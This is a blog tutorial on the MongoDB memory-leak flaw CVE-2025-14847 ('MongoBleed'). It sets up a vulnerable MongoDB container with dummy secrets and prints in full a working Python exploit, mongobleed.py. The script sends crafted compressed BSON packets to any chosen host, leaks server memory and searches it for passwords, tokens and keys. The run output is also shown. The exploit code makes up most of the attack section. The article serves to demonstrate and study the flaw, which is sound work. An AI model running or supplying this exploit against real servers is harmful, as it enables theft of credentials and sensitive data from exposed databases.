Critical: CVE-2025-14847 MongoDB Uninitialized Memory Leak Vulnerability (“MongoBleed”)
Here in this article we will try to understand about the recent MongoDB vulnerability which allows an attacker to remotely extract secrets, credentials, and other sensitive data from an exposed MongoDB server.
This article is based on the original source “Exploited MongoBleed flaw leaks MongoDB secrets, 87K servers exposed“.
What is BSON
BSON is the binary encoding of JSON-like documents that MongoDB uses when storing documents in collections. It adds support for data types like Date and binary that aren’t supported in JSON.
What is zlib
Zlib is a free, open-source software library for lossless data compression and decompression, implementing the efficient DEFLATE algorithm (used in gzip), serving as a crucial component in many systems like Linux, macOS, and Node.js, and supporting formats for efficient data handling in web traffic, file storage, and network protocols.
If you are interested in watching the video. Here is the YouTube video on the same step by step procedure outlined below.
Procedure
Step1: Ensure Docker installed and running
Before proceeding, you need to install Docker and Docker Compose on your local machine. Follow official documentation pages to install the same.
admin@linuxscratch:~$ sudo systemctl start docker.service
admin@linuxscratch:~$ sudo systemctl status docker.service
Step2: Clone Mongobleed exoploit repository
This repository consist of a docker compose file which instantiates a vulnerable version of MongoDB database. Also it initializes the database with a application user, databases and collections with confidentials data for simulation purpose.
admin@linuxscratch:~$ git clone https://github.com/joe-desimone/mongobleed.git
admin@linuxscratch:~$ cd mongobleed/
Step3: Instantiate Vulnerable MongoDB instance
Here in this step we will instantiate the MongoDB database instance as shown below.
Docker Compose file
admin@linuxscratch:~/mongobleed$ cat docker-compose.yml
version: '3.8'
services:
mongodb-vulnerable:
image: mongo:8.2.2
container_name: mongobleed-target
ports:
- "27017:27017"
environment:
MONGO_INITDB_ROOT_USERNAME: admin
MONGO_INITDB_ROOT_PASSWORD: SuperSecret123!
MONGO_INITDB_DATABASE: secretdb
volumes:
- ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
- mongodb_data:/data/db
command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"]
restart: unless-stopped
volumes:
mongodb_data:
admin@linuxscratch:~/mongobleed$ docker compose up -d
Step4: Connect to MongoDB
Once the MongoDB container is up and running we can get a shell terminal for the container and connect to the admin database as shown below.
root@655c750a2c3c:/# mongosh -u admin -p SuperSecret123! mongodb://127.0.0.1:27017/admin
admin> show databases
admin 100.00 KiB
config 60.00 KiBMongoDB internal logs and state
WiredTiger storage engine configuration
System /proc data (meminfo, network stats)
Docker container paths
Connection UUIDs and client IPs
customers 80.00 KiB
local 72.00 KiB
secretdb 120.00 KiB
Here we are switching to the secretdb to validate the tables and collections that were created as a part of the database initiailization.
admin> use secretdb
secretdb> show tables
api_keys
encryption_keys
internal_users
Let’s now fetch all the records that are available in the api_keys table as shown below.
secretdb> db.api_keys.find()
[
{
_id: ObjectId('69537d2ad68142ed0e9dc29d'),
service: 'stripe',
api_key: 'sk_test_FAKE_KEY_FOR_TESTING_NOT_REAL_1234567890',
secret_key: 'whsec_abcdef123456789SECRETWEBHOOK',
created_at: ISODate('2025-12-30T07:20:10.366Z'),
environment: 'production'
},
...
Step5: Simulate Exploit
Now that we have a running instance of vulnerable MongoDB, we can the mongobleed.py python exploit script which will try extract the leaked data from memory as shown below.
The script crafts a BSON document that claims a larger document length than it actually contains, wrap it in an OP_MSG, compress that OP_MSG, then wrap that compressed payload inside an OP_COMPRESSED frame which itself claims a (possibly inflated) uncompressed buffer size. The combination can make a receiver allocate or trust incorrect lengths and crash / be exploited.
mongobleed.py script
admin@linuxscratch:~/mongobleed$ cat mongobleed.py
#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit
Author: Joe Desimone - x.com/dez_
Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""
import socket
import struct
import zlib
import re
import argparse
def send_probe(host, port, doc_len, buffer_size):
"""Send crafted BSON with inflated document length"""
# Minimal BSON content - we lie about total length
content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
bson = struct.pack('<i', doc_len) + content
# Wrap in OP_MSG
op_msg = struct.pack('<I', 0) + b'\x00' + bson
compressed = zlib.compress(op_msg)
# OP_COMPRESSED with inflated buffer size (triggers the bug)
payload = struct.pack('<I', 2013) # original opcode
payload += struct.pack('<i', buffer_size) # claimed uncompressed size
payload += struct.pack('B', 2) # zlib
payload += compressed
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
try:
sock = socket.socket()
sock.settimeout(2)
sock.connect((host, port))
sock.sendall(header + payload)
response = b''
while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()
return response
except:
return b''
def extract_leaks(response):
"""Extract leaked data from error response"""
if len(response) < 25:
return []
try:
msg_len = struct.unpack('<I', response[:4])[0]
if struct.unpack('<I', response[12:16])[0] == 2012:
raw = zlib.decompress(response[25:msg_len])
else:
raw = response[16:msg_len]
except:
return []
leaks = []
# Field names from BSON errors
for match in re.finditer(rb"field name '([^']*)'", raw):
data = match.group(1)
if data and data not in [b'?', b'a', b'$db', b'ping']:
leaks.append(data)
# Type bytes from unrecognized type errors
for match in re.finditer(rb"type (\d+)", raw):
leaks.append(bytes([int(match.group(1)) & 0xFF]))
return leaks
def main():
parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
parser.add_argument('--host', default='localhost', help='Target host')
parser.add_argument('--port', type=int, default=27017, help='Target port')
parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
parser.add_argument('--output', default='leaked.bin', help='Output file')
args = parser.parse_args()
print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
print(f"[*] Author: Joe Desimone - x.com/dez_")
print(f"[*] Target: {args.host}:{args.port}")
print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
print()
all_leaked = bytearray()
unique_leaks = set()
for doc_len in range(args.min_offset, args.max_offset):
response = send_probe(args.host, args.port, doc_len, doc_len + 500)
leaks = extract_leaks(response)
for data in leaks:
if data not in unique_leaks:
unique_leaks.add(data)
all_leaked.extend(data)
# Show interesting leaks (> 10 bytes)
if len(data) > 10:
preview = data[:80].decode('utf-8', errors='replace')
print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
# Save results
with open(args.output, 'wb') as f:
f.write(all_leaked)
print()
print(f"[*] Total leaked: {len(all_leaked)} bytes")
print(f"[*] Unique fragments: {len(unique_leaks)}")
print(f"[*] Saved to: {args.output}")
# Show any secrets found
secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
for s in secrets:
if s.lower() in all_leaked.lower():
print(f"[!] Found pattern: {s.decode()}")
if __name__ == '__main__':
main()
admin@linuxscratch:~/mongobleed$ python3 mongobleed.py --host localhost --max-offset 50000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset=5621 len= 46: \u0013Tv��P��M\u0006�I/\u0015�a&\"R\u001cL;RJ^
[+] offset=9719 len= 151: Ps\u0013QnMvq@M\u0016-:=QkT&A&�\u0001n��-1�L4c]h}[[\b;2n?T\u001fh)7h\t$\t\bHS\u0
[+] offset=11770 len= 49: @�HWh��\u0013Vtg�\u0006*I/\u000f8a9\"RCLu\u001bJc
[+] offset=24074 len= 34: ��H�����Vtg���I����9\"RCLZ\u001b��
[+] offset=40437 len= 721: v�\u001e\u0019kJL&5���6�:S�lY�*oLc\u0002]@�O%${5&N^ZjY\u0018wq\u0007#,v\u00068\u
[*] Total leaked: 1047 bytes
[*] Unique fragments: 21
[*] Saved to: leaked.bin
[!] Found pattern: key
[!] Found pattern: token
Hope you enjoyed reading this article. Thank you..
Leave a Reply
You must be logged in to post a comment.